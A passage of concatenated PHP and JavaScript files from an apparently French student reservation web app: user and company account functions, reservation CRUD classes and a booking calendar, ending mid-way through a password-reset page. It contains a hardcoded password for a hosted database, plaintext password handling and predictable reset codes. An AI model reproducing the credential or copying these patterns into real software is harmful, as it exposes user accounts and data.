$query->bindParam(":mdp", $this->PERM_MOTDEPASSE);
$query->bindParam(":tel", $this->PERM_TELEPHONE);
$query->bindParam(":cp", $this->PERM_CODEPOSTAL);
$query->bindParam(":localite", $this->PERM_LOCALITE);
$query->bindParam(":adresse", $this->PERM_ADRESSE);
$query->bindParam(":codenvmdp", $this->PERM_CODENVMDP);
$query->bindParam(":domaine", $this->PERM_DOMAINE);
// Exécution de la requête
if($query->execute()){
return true;
}
return false;
}
/**
* Lire un produit
*
* @return void
*/
public function lireUn(){
// On écrit la requête
$sql = "SELECT * FROM ". $this->table . " WHERE ID_PERSONNEMORALE = :id ";
// On prépare la requête
$query = $this->connexion->prepare( $sql );
// On attache l'id
$query->bindParam(":id", $this->ID_PERSONNEMORALE);
// On exécute la requête
$query->execute();
// on récupère la ligne
$row = $query->fetch(PDO::FETCH_ASSOC);
// On hydrate l'objet
$this->PERM_NOM = $row['PERM_NOM'];
$this->PERM_EMAIL = $row['PERM_EMAIL'];
$this->PERM_MOTDEPASSE = $row['PERM_MOTDEPASSE'];
$this->PERM_TELEPHONE = $row['PERM_TELEPHONE'];
$this->PERM_CODEPOSTAL = $row['PERM_CODEPOSTAL'];
$this->PERM_LOCALITE = $row['PERM_LOCALITE'];
$this->PERM_ADRESSE = $row['PERM_ADRESSE'];
$this->PERM_CODENVMDP = $row['PERM_CODENVMDP'];
$this->PERM_DOMAINE = $row['PERM_DOMAINE'];
}
/**
* Supprimer un produit
*
* @return void
*/
public function supprimer(){
// On écrit la requête
$sql = "DELETE FROM " . $this->table . " WHERE ID_PERSONNEMORALE = ?";
// On prépare la requête
$query = $this->connexion->prepare( $sql );
// On sécurise les données
$this->ID_PERSONNEMORALE=htmlspecialchars(strip_tags($this->ID_PERSONNEMORALE));
// On attache l'id
$query->bindParam(1, $this->ID_PERSONNEMORALE);
// On exécute la requête
if($query->execute()){
return true;
}
return false;
}
/**
* Mettre à jour un produit
*
* @return void
*/
public function modifier(){
// On écrit la requête
$sql = "UPDATE " . $this->table . " SET PERM_NOM=:nom,PERM_EMAIL=:email,PERM_MOTDEPASSE=:mdp,PERM_TELEPHONE=:tel,PERM_CODEPOSTAL=:cp,PERM_LOCALITE=:localite,PERM_ADRESSE=:adresse,PERM_CODENVMDP=:codenvmdp,PERM_DOMAINE=:domaine WHERE ID_PERSONNEMORALE = :idpersonnemorale";
// On prépare la requête
$query = $this->connexion->prepare($sql);
// On sécurise les données
$this->PERM_NOM=htmlspecialchars(strip_tags($this->PERM_NOM));
$this->PERM_EMAIL=htmlspecialchars(strip_tags($this->PERM_EMAIL));
$this->PERM_MOTDEPASSE=htmlspecialchars(strip_tags($this->PERM_MOTDEPASSE));
$this->PERM_TELEPHONE=htmlspecialchars(strip_tags($this->PERM_TELEPHONE));
$this->PERM_CODEPOSTAL=htmlspecialchars(strip_tags($this->PERM_CODEPOSTAL));
$this->PERM_LOCALITE=htmlspecialchars(strip_tags($this->PERM_LOCALITE));
$this->PERM_ADRESSE=htmlspecialchars(strip_tags($this->PERM_ADRESSE));
$this->PERM_CODENVMDP=htmlspecialchars(strip_tags($this->PERM_CODENVMDP));
$this->PERM_DOMAINE=htmlspecialchars(strip_tags($this->PERM_DOMAINE));
$this->ID_PERSONNEMORALE=htmlspecialchars(strip_tags($this->ID_PERSONNEMORALE));
// On attache les variables
$query->bindParam(":nom", $this->PERM_NOM);
$query->bindParam(":email", $this->PERM_EMAIL);
$query->bindParam(":mdp", $this->PERM_MOTDEPASSE);
$query->bindParam(":tel", $this->PERM_TELEPHONE);
$query->bindParam(":cp", $this->PERM_CODEPOSTAL);
$query->bindParam(":localite", $this->PERM_LOCALITE);
$query->bindParam(":adresse", $this->PERM_ADRESSE);
$query->bindParam(":codenvmdp", $this->PERM_CODENVMDP);
$query->bindParam(":domaine", $this->PERM_DOMAINE);
$query->bindParam(":idpersonnemorale", $this->ID_PERSONNEMORALE);
// On exécute
if($query->execute()){
return true;
}
return false;
}
}
<file_sep><?php
function myConnection() {
static $dbc = null;
if ($dbc == null) {
try {
$dbc = new PDO('mysql:host=127.0.0.1;dbname=hhva_team20_2_v2', 'root', '');
$dbc->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
return $dbc;
}
function debug($mode, $data) {
if ($mode == "verbose")
echo "<center><small><font color='#CCCCCC'>" . $data . "</font></small></center><br>";
}
function createUser($nom, $prenom, $email, $password, $datenaissance, $telephone, $codepostal, $localite, $adresse) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("INSERT INTO personnephysique (PER_NOM,PER_PRENOM,PER_EMAIL,PER_MOTDEPASSE,PER_DATEDENAISSANCE,PER_TELEPHONE,PER_CODEPOSTAL,PER_LOCALITE,PER_ADRESSE) VALUES( :nom, :prenom, :email, :password, :datenaissance, :telephone, :codepostal, :localite, :adresse)");
$request->bindParam(':nom', $nom, PDO::PARAM_STR);
$request->bindParam(':prenom', $prenom, PDO::PARAM_STR);
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':password', $password, PDO::PARAM_STR);
$request->bindParam(':datenaissance', $datenaissance, PDO::PARAM_STR);
$request->bindParam(':telephone', $telephone, PDO::PARAM_STR);
$request->bindParam(':codepostal', $codepostal, PDO::PARAM_STR);
$request->bindParam(':localite', $localite, PDO::PARAM_STR);
$request->bindParam(':adresse', $adresse, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function createUserMorale($nom, $email, $password, $telephone, $codepostal, $localite, $adresse, $domaine) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("INSERT INTO personnemorale (PERM_NOM,PERM_EMAIL,PERM_MOTDEPASSE,PERM_TELEPHONE,PERM_CODEPOSTAL,PERM_LOCALITE,PERM_ADRESSE,PERM_DOMAINE) VALUES( :nom, :email, :password, :telephone, :codepostal, :localite, :adresse, :domaine)");
$request->bindParam(':nom', $nom, PDO::PARAM_STR);
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':password', $<PASSWORD>, PDO::PARAM_STR);
$request->bindParam(':telephone', $telephone, PDO::PARAM_STR);
$request->bindParam(':codepostal', $codepostal, PDO::PARAM_STR);
$request->bindParam(':localite', $localite, PDO::PARAM_STR);
$request->bindParam(':adresse', $adresse, PDO::PARAM_STR);
$request->bindParam(':domaine', $domaine, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function getOneUser($email) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("SELECT * FROM personnephysique WHERE PER_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function getOneUseradmin($email) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("SELECT * FROM admin WHERE ADM_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function getOneUsermorale($email) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("SELECT * FROM personnemorale WHERE PERM_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function creatCodeValidation($email,$code) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnephysique SET PER_CODENVMDP = :code WHERE PER_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':code', $code, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function creatCodeValidationmorale($email,$code) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnemorale SET PERM_CODENVMDP = :code WHERE PERM_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':code', $code, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function deleteCodeValidation($email) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnephysique SET PER_CODENVMDP = NULL WHERE PER_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function deleteCodeValidationmorale($email) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnemorale SET PERM_CODENVMDP = NULL WHERE PERM_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function passgen1($nbChar) {
$chaine ="<KEY>";
srand((double)microtime()*1000000);
$pass = '';
for($i=0; $i<$nbChar; $i++){
$pass .= $chaine[rand()%strlen($chaine)];
}
return $pass;
}
function getOneUserCodeVerif($code) {
try {
$request = myConnection()->prepare("SELECT * FROM personnephysique WHERE PER_CODENVMDP = :code");
$request->bindParam(':code', $code, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function getOneUserCodeVerifmorale($code) {
try {
$request = myConnection()->prepare("SELECT * FROM personnemorale WHERE PERM_CODENVMDP = :code");
$request->bindParam(':code', $code, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function changeMDP($email,$mdp) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnephysique SET PER_MOTDEPASSE = :mdp WHERE PER_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':mdp', $mdp, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function changeMDPmorale($email,$mdp) {
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnemorale SET PERM_MOTDEPASSE = :mdp WHERE PERM_EMAIL = :email");
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':mdp', $mdp, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function updateespaceclientC ($idclient, $nom, $prenom, $email, $datenaissance, $telephone, $codepostal, $localite, $adresse){
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnephysique SET PER_NOM = :nom,PER_PRENOM = :prenom,PER_EMAIL = :email,PER_DATEDENAISSANCE = :datenaissance,PER_TELEPHONE = :telephone,PER_CODEPOSTAL = :codepostal ,PER_LOCALITE = :localite,PER_ADRESSE = :adresse WHERE ID_PERSONNEP = :idclient");
$request->bindParam(':idclient', $idclient, PDO::PARAM_STR);
$request->bindParam(':nom', $nom, PDO::PARAM_STR);
$request->bindParam(':prenom', $prenom, PDO::PARAM_STR);
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':datenaissance', $datenaissance, PDO::PARAM_STR);
$request->bindParam(':telephone', $telephone, PDO::PARAM_STR);
$request->bindParam(':codepostal', $codepostal, PDO::PARAM_STR);
$request->bindParam(':localite', $localite, PDO::PARAM_STR);
$request->bindParam(':adresse', $adresse, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function updateespaceclientE ($identreprise, $nom, $email, $telephone, $codepostal, $localite, $adresse){
$email = strtolower($email);
try {
$request = myConnection()->prepare("UPDATE personnemorale SET PERM_NOM = :nom,PERM_EMAIL = :email,PERM_TELEPHONE = :telephone,PERM_CODEPOSTAL = :codepostal ,PERM_LOCALITE = :localite,PERM_ADRESSE = :adresse WHERE ID_PERSONNEMORALE = :identreprise");
$request->bindParam(':identreprise', $identreprise, PDO::PARAM_STR);
$request->bindParam(':nom', $nom, PDO::PARAM_STR);
$request->bindParam(':email', $email, PDO::PARAM_STR);
$request->bindParam(':telephone', $telephone, PDO::PARAM_STR);
$request->bindParam(':codepostal', $codepostal, PDO::PARAM_STR);
$request->bindParam(':localite', $localite, PDO::PARAM_STR);
$request->bindParam(':adresse', $adresse, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function getAllUser() {
try {
$request = myConnection()->prepare("SELECT * FROM personnephysique");
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetchall(PDO::FETCH_ASSOC);
}
function getAllUserMorale() {
try {
$request = myConnection()->prepare("SELECT * FROM personnemorale");
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetchall(PDO::FETCH_ASSOC);
}
function getOneUserid($id) {
try {
$request = myConnection()->prepare("SELECT * FROM personnephysique WHERE ID_PERSONNEP = :id");
$request->bindParam(':id', $id, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function getOneUseridmorale($id) {
try {
$request = myConnection()->prepare("SELECT * FROM personnemorale WHERE ID_PERSONNEMORALE = :id");
$request->bindParam(':id', $id, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function getReservation($id) {
try {
$request = myConnection()->prepare("SELECT * FROM reservation WHERE RES_STATUT = 1 AND ID_PERSONNEP = :id");
$request->bindParam(':id', $id, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function getReservationE($id) {
try {
$request = myConnection()->prepare("SELECT * FROM reservation WHERE RES_STATUT = 1 AND ID_PERSONNEMORALE = :id");
$request->bindParam(':id', $id, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
return $request->fetch(PDO::FETCH_ASSOC);
}
function delReservation($id) {
try {
$request = myConnection()->prepare("DELETE FROM reservation WHERE RES_STATUT = 1 AND ID_PERSONNEP = :id");
$request->bindParam(':id', $id, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
function delReservationE($id) {
try {
$request = myConnection()->prepare("DELETE FROM reservation WHERE RES_STATUT = 1 AND ID_PERSONNEMORALE = :id");
$request->bindParam(':id', $id, PDO::PARAM_STR);
$request->execute();
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
<file_sep><?php
class Database{
// Connexion à la base de données
// getter pour la connexion
public function getConnection(){
$this->connexion = null;
try{
$this->connexion = new PDO('mysql:host=hhva.myd.infomaniak.com;dbname=hhva_team20_2_v2', 'hhva_team20_2_v', 'J9pmDKgZe7');
$this->connexion->exec("set names utf8");
}catch(PDOException $exception){
echo "Erreur de connexion : " . $exception->getMessage();
}
return $this->connexion;
}
}
<file_sep>window.onload = () => {
let xmlhttpcli = new XMLHttpRequest();
var d = new Date();
var uzi = d.getFullYear() + "-" + (d.getMonth() + 1) + "-" + d.getDate()
var n = d.getDay();
let evenementst = {
"title":"",
"start": uzi + " 08:00:00",
"end": uzi + " 18:00:00",
"display" : "background",
"backgroundColor" : "black",
};
xmlhttpcli.onreadystatechange = () => {
if(xmlhttpcli.readyState == 4){
if(xmlhttpcli.status == 200){
}}}
xmlhttpcli.open("GET","sessionE.php",true);
xmlhttpcli.send(null);
console.log(xmlhttpcli);
let xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = () => {
if(xmlhttp.readyState == 4){
if(xmlhttp.status == 200){
let evenements = JSON.parse(xmlhttp.responseText);
let client = JSON.parse(xmlhttpcli.responseText);
evenements.push(client);
evenements.push(evenementst);
let calendarEl = document.getElementById('calendar');
let calendar = new FullCalendar.Calendar(calendarEl, {
firstDay: n,
editable: false,
expandRows: true,
headerToolbar: {
left: 'prev,next',
center: 'title',
right: 'today'
},
validRange: function(nowDate) {
return {
start: nowDate,
};},
buttonText:{
today : 'Aujourd\'hui',
week : 'Semaines',
day: 'Jours',
},
initialView: 'timeGridWeek',
hiddenDays: [ 0, 6 ],
selectable: true,
selectMirror: true,
allDaySlot: false,
slotMinTime: "08:00:00",
slotMaxTime: "18:00:00",
slotDuration: "01:00:00",
locale: 'fr',
selectOverlap: function(event) {
},
events : evenements,
select: function(arg) {
clienteventsession = calendar.getEventById( "client" );
clientID= clienteventsession.title;
if (calendar.getEventById( clientID) == null) {
var title = prompt('Motif:');
function appendLeadingZeroes(n){
if(n <= 9){
return "0" + n;
}
return n
}
let formatted_datestart = arg.start.getFullYear() + "-" + appendLeadingZeroes(arg.start.getMonth() + 1) + "-" + appendLeadingZeroes(arg.start.getDate()) + " " + appendLeadingZeroes(arg.start.getHours()) + ":" + appendLeadingZeroes(arg.start.getMinutes()) + ":" + appendLeadingZeroes(arg.start.getSeconds())
let formatted_dateend = arg.start.getFullYear() + "-" + appendLeadingZeroes(arg.start.getMonth() + 1) + "-" + appendLeadingZeroes(arg.start.getDate()) + " " + appendLeadingZeroes(arg.start.getHours()+1) + ":" + appendLeadingZeroes(arg.start.getMinutes()) + ":" + appendLeadingZeroes(arg.start.getSeconds())
if (title) {
let test = {
id: clientID,
title: title,
start: formatted_datestart,
end: formatted_dateend,
url:clienteventsession.url,
editable : false,
}
calendar.setOption('selectable', false);
calendar.addEvent(test)
}
}
calendar.unselect()
},
customButtons: {
valider: {
text: 'Valider réservation',
click: function() {
clienteventsession = calendar.getEventById( "client" );
clientID= clienteventsession.title;
if (calendar.getEventById( clientID ) == null) {
alert('Veuillez choisir une date');
}else {
if (confirm('Êtes vous sur de votre choix ?')) {
var evenementchoisi = calendar.getEventById( clientID )
function appendLeadingZeroes(n){
if(n <= 9){
return "0" + n;
}
return n
}
let formatted_datestart = evenementchoisi.start.getFullYear() + "-" + appendLeadingZeroes(evenementchoisi.start.getMonth() + 1) + "-" + appendLeadingZeroes(evenementchoisi.start.getDate()) + " " + appendLeadingZeroes(evenementchoisi.start.getHours()) + ":" + appendLeadingZeroes(evenementchoisi.start.getMinutes()) + ":" + appendLeadingZeroes(evenementchoisi.start.getSeconds())
let formatted_dateend = evenementchoisi.end.getFullYear() + "-" + appendLeadingZeroes(evenementchoisi.end.getMonth() + 1) + "-" + appendLeadingZeroes(evenementchoisi.end.getDate()) + " " + appendLeadingZeroes(evenementchoisi.end.getHours()) + ":" + appendLeadingZeroes(evenementchoisi.end.getMinutes()) + ":" + appendLeadingZeroes(evenementchoisi.end.getSeconds())
let req = new XMLHttpRequest
let reservation ={
ID_PERSONNEMORALE: clientID,
RES_DATEDEBUT: formatted_datestart,
RES_DATEFIN: formatted_dateend ,
RES_MOTIF: evenementchoisi.title,
RES_URL: evenementchoisi.url,
}
req.open("POST","api-rest/reservation/creerE.php",true);
req.send(JSON.stringify(reservation))
console.log(req);
window.location.href = "reservation.php";
}
}
}
},
annuler: {
text: 'Annuler selection',
click: function() {
clienteventsession = calendar.getEventById( "client" );
clientID= clienteventsession.title;
if (calendar.getEventById( clientID ) == null) {
alert('Aucune date n\'a été selectionnée');
}else {
calendar.getEventById(clientID).remove() ;
calendar.setOption('selectable', true);
}
}
}
},
footerToolbar:{
right : 'valider',
left : 'annuler',
},
});
calendar.render();
}}}
xmlhttp.open("GET","api-rest/reservation/lireC.php",true);
xmlhttp.send(null);
console.log(xmlhttp);
}
<file_sep><?php
class Reservation{
// Connexion
private $connexion;
private $table = "reservation";
// object properties
public $ID_RESERVATION;
public $ID_ADMIN ;
public $ID_PERSONNEP;
public $ID_PERSONNEMORALE;
public $RES_DATEDEBUT;
public $RES_DATEFIN;
public $RES_MOTIF;
public $RES_STATUT;
public $RES_URL;
/**
* Constructeur avec $db pour la connexion à la base de données
*
* @param $db
*/
public function __construct($db){
$this->connexion = $db;
}
/**
* Lecture des produits
*
* @return void
*/
public function lire(){
// On écrit la requête
$sql = "SELECT * FROM reservation AS A LEFT JOIN personnephysique AS B ON A.ID_PERSONNEP = B.ID_PERSONNEP LEFT JOIN personnemorale AS C ON A.ID_PERSONNEMORALE = C.ID_PERSONNEMORALE WHERE A.RES_STATUT=1";
// On prépare la requête
$query = $this->connexion->prepare($sql);
// On exécute la requête
$query->execute();
// On retourne le résultat
return $query;
}
/**
* Créer un produit
*
* @return void
*/
public function creerA(){
// Ecriture de la requête SQL en y insérant le nom de la table
$sql = "INSERT INTO " . $this->table . " SET RES_DATEDEBUT=:datedebut,RES_DATEFIN=:datefin,RES_MOTIF=:motif,ID_ADMIN=:idadmin,RES_STATUT=1";
// Préparation de la requête
$query = $this->connexion->prepare($sql);
// Protection contre les injections
$this->RES_DATEDEBUT=htmlspecialchars(strip_tags($this->RES_DATEDEBUT));
$this->RES_DATEFIN=htmlspecialchars(strip_tags($this->RES_DATEFIN));
$this->RES_MOTIF=htmlspecialchars(strip_tags($this->RES_MOTIF));
$this->ID_ADMIN=htmlspecialchars(strip_tags($this->ID_ADMIN));
// Ajout des données protégées
$query->bindParam(":datedebut", $this->RES_DATEDEBUT);
$query->bindParam(":datefin", $this->RES_DATEFIN);
$query->bindParam(":motif", $this->RES_MOTIF);
$query->bindParam(":idadmin", $this->ID_ADMIN);
// Exécution de la requête
if($query->execute()){
return true;
}
return false;
}
/**
* Créer un produit
*
* @return void
*/
public function creerC(){
// Ecriture de la requête SQL en y insérant le nom de la table
$sql = "INSERT INTO " . $this->table . " SET RES_DATEDEBUT=:datedebut,RES_DATEFIN=:datefin,RES_MOTIF=:motif,ID_PERSONNEP=:idpersonnep,RES_STATUT=:statut,RES_URL=:url";
// Préparation de la requête
$query = $this->connexion->prepare($sql);
// Protection contre les injections
$this->RES_DATEDEBUT=htmlspecialchars(strip_tags($this->RES_DATEDEBUT));
$this->RES_DATEFIN=htmlspecialchars(strip_tags($this->RES_DATEFIN));
$this->RES_MOTIF=htmlspecialchars(strip_tags($this->RES_MOTIF));
$this->ID_PERSONNEP=htmlspecialchars(strip_tags($this->ID_PERSONNEP));
$this->RES_URL=htmlspecialchars(strip_tags($this->RES_URL));
$this->RES_STATUT=htmlspecialchars(strip_tags($this->RES_STATUT));
// Ajout des données protégées
$query->bindParam(":datedebut", $this->RES_DATEDEBUT);
$query->bindParam(":datefin", $this->RES_DATEFIN);
$query->bindParam(":motif", $this->RES_MOTIF);
$query->bindParam(":idpersonnep", $this->ID_PERSONNEP);
$query->bindParam(":url", $this->RES_URL);
$query->bindParam(":statut",$this->RES_STATUT);
// Exécution de la requête
if($query->execute()){
return true;
}
return false;
}
/**
* Créer un produit
*
* @return void
*/
public function creerE(){
// Ecriture de la requête SQL en y insérant le nom de la table
$sql = "INSERT INTO " . $this->table . " SET RES_DATEDEBUT=:datedebut,RES_DATEFIN=:datefin,RES_MOTIF=:motif,ID_PERSONNEMORALE=:idpersonnem,RES_STATUT=:statut,RES_URL=:url";
// Préparation de la requête
$query = $this->connexion->prepare($sql);
// Protection contre les injections
$this->RES_DATEDEBUT=htmlspecialchars(strip_tags($this->RES_DATEDEBUT));
$this->RES_DATEFIN=htmlspecialchars(strip_tags($this->RES_DATEFIN));
$this->RES_MOTIF=htmlspecialchars(strip_tags($this->RES_MOTIF));
$this->ID_PERSONNEMORALE=htmlspecialchars(strip_tags($this->ID_PERSONNEMORALE));
$this->RES_URL=htmlspecialchars(strip_tags($this->RES_URL));
$this->RES_STATUT=htmlspecialchars(strip_tags($this->RES_STATUT));
// Ajout des données protégées
$query->bindParam(":datedebut", $this->RES_DATEDEBUT);
$query->bindParam(":datefin", $this->RES_DATEFIN);
$query->bindParam(":motif", $this->RES_MOTIF);
$query->bindParam(":idpersonnem", $this->ID_PERSONNEMORALE);
$query->bindParam(":url", $this->RES_URL);
$query->bindParam(":statut",$this->RES_STATUT);
// Exécution de la requête
if($query->execute()){
return true;
}
return false;
}
/**
* Lire un produit
*
* @return void
*/
public function lireUn(){
// On écrit la requête
$sql = "SELECT * FROM ". $this->table . " WHERE ID_PERSONNEP = :id ";
// On prépare la requête
$query = $this->connexion->prepare( $sql );
// On attache l'id
$query->bindParam(":id", $this->ID_PERSONNEP);
// On exécute la requête
$query->execute();
// on récupère la ligne
$row = $query->fetch(PDO::FETCH_ASSOC);
// On hydrate l'objet
$this->PER_NOM = $row['PER_NOM'];
$this->PER_PRENOM = $row['PER_PRENOM'];
$this->PER_EMAIL = $row['PER_EMAIL'];
$this->PER_MOTDEPASSE = $row['PER_MOTDEPASSE'];
$this->PER_DATEDENAISSANCE = $row['PER_DATEDENAISSANCE'];
$this->PER_TELEPHONE = $row['PER_TELEPHONE'];
$this->PER_CODEPOSTAL = $row['PER_CODEPOSTAL'];
$this->PER_LOCALITE = $row['PER_LOCALITE'];
$this->PER_ADRESSE = $row['PER_ADRESSE'];
$this->PER_CODENVMDP = $row['PER_CODENVMDP'];
}
/**
* Supprimer un produit
*
* @return void
*/
public function supprimer(){
// On écrit la requête
$sql = "DELETE FROM " . $this->table . " WHERE ID_RESERVATION = ?";
// On prépare la requête
$query = $this->connexion->prepare( $sql );
// On sécurise les données
$this->ID_RESERVATION=htmlspecialchars(strip_tags($this->ID_RESERVATION));
// On attache l'id
$query->bindParam(1, $this->ID_RESERVATION);
// On exécute la requête
if($query->execute()){
return true;
}
return false;
}
/**
* Mettre à jour un produit
*
* @return void
*/
public function modifier(){
// On écrit la requête
$sql = "UPDATE " . $this->table . " SET PER_NOM=:nom,PER_PRENOM=:prenom,PER_EMAIL=:email,PER_MOTDEPASSE=:mdp,PER_DATEDENAISSANCE=:datenaissance,PER_TELEPHONE=:tel,PER_CODEPOSTAL=:cp,PER_LOCALITE=:localite,PER_ADRESSE=:adresse,PER_CODENVMDP=:codenvmdp WHERE ID_PERSONNEP = :idpersonnep";
// On prépare la requête
$query = $this->connexion->prepare($sql);
// On sécurise les données
$this->PER_NOM=htmlspecialchars(strip_tags($this->PER_NOM));
$this->PER_PRENOM=htmlspecialchars(strip_tags($this->PER_PRENOM));
$this->PER_EMAIL=htmlspecialchars(strip_tags($this->PER_EMAIL));
$this->PER_MOTDEPASSE=htmlspecialchars(strip_tags($this->PER_MOTDEPASSE));
$this->PER_DATEDENAISSANCE=htmlspecialchars(strip_tags($this->PER_DATEDENAISSANCE));
$this->PER_TELEPHONE=htmlspecialchars(strip_tags($this->PER_TELEPHONE));
$this->PER_CODEPOSTAL=htmlspecialchars(strip_tags($this->PER_CODEPOSTAL));
$this->PER_LOCALITE=htmlspecialchars(strip_tags($this->PER_LOCALITE));
$this->PER_ADRESSE=htmlspecialchars(strip_tags($this->PER_ADRESSE));
$this->PER_CODENVMDP=htmlspecialchars(strip_tags($this->PER_CODENVMDP));
$this->ID_PERSONNEP=htmlspecialchars(strip_tags($this->ID_PERSONNEP));
// On attache les variables
$query->bindParam(":nom", $this->PER_NOM);
$query->bindParam(":prenom", $this->PER_PRENOM);
$query->bindParam(":email", $this->PER_EMAIL);
$query->bindParam(":mdp", $this->PER_MOTDEPASSE);
$query->bindParam(":datenaissance", $this->PER_DATEDENAISSANCE);
$query->bindParam(":tel", $this->PER_TELEPHONE);
$query->bindParam(":cp", $this->PER_CODEPOSTAL);
$query->bindParam(":localite", $this->PER_LOCALITE);
$query->bindParam(":adresse", $this->PER_ADRESSE);
$query->bindParam(":codenvmdp", $this->PER_CODENVMDP);
$query->bindParam(":idpersonnep", $this->ID_PERSONNEP);
// On exécute
if($query->execute()){
return true;
}
return false;
}
}
<file_sep><?php
$titre = "C&M - Nouveau mot de passe";
include('navbar.php');
$codevalide = 0;
$errormdp = "";
$errorcodeverif = "";
?>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Custom styles for this template -->
<link href="css/blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
<?php
if (isset($_POST['btnVerifCode'])) {
$codeverif = $_POST['codeverif'];
$user = getOneUserCodeVerif($codeverif);
$email = $user['PER_EMAIL'];
if (!empty($user)) {
$_SESSION['PER_EMAIL'] = $email;
deleteCodeValidation($email);
$codevalide = 1;
} else {
$user = getOneUserCodeVerifmorale($codeverif);
$email = $user['PERM_EMAIL'];
if (!empty($user)) {
$_SESSION['PERM_EMAIL'] = $email;
deleteCodeValidationmorale($email);
$codevalide = 1;
} else {
$errorcodeverif = "<div class='alert alert-danger' role='alert'> Le code est incorrect !</div>";
}
}
}
if (isset($_POST['btnChangermdp'])) {
$mdp = $_POST['nvmdp1'];
$mdp2 = $_POST['nvmdp2'];
$email = $_SESSION['PER_EMAIL'];
if (empty($email)) {
$email = $_SESSION['PERM_EMAIL'];
if ($mdp == $mdp2) {
